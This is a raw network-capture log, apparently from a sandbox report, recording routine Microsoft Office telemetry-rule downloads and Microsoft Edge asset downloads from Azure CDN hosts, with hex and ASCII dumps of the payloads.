22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:30 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100530Z-174f7845968psccphC1EWRuz9s0000000yd000000000a6hx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:31 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100531Z-174f7845968qj8jrhC1EWRh41s0000000y3g00000000a0s1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:32 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100532Z-174f78459684bddphC1EWRbht40000000xx0000000009z0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	49848	13.107.246.40	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:32 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:33 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:33 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: 69e5da98-701e-004a-537d-415860000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T100532Z-174f7845968xr5c2hC1EWRd0hn0000000f2000000000852x Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-28 10:05:33 UTC	15821	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-28 10:05:33 UTC	16384	IN	Data Raw: 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 Data Ascii: ,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
2024-11-28 10:05:33 UTC	16384	IN	Data Raw: d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-28 10:05:33 UTC	16384	IN	Data Raw: 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 Data Ascii: H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
2024-11-28 10:05:33 UTC	5234	IN	Data Raw: 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 Data Ascii: NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:32 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:32 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: d02045fe-401e-0064-2d26-4154af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100532Z-174f78459684bddphC1EWRbht40000000xz0000000006wrh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:32 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:32 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100532Z-174f7845968psccphC1EWRuz9s0000000yg0000000006p5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	49849	13.107.246.40	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:32 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:32 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:32 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5f8eb5f8-301e-0064-07ed-40d8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T100532Z-174f7845968jrjrxhC1EWRmmrs0000000ycg000000005wqm Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 10:05:32 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-28 10:05:33 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-28 10:05:33 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-28 10:05:33 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
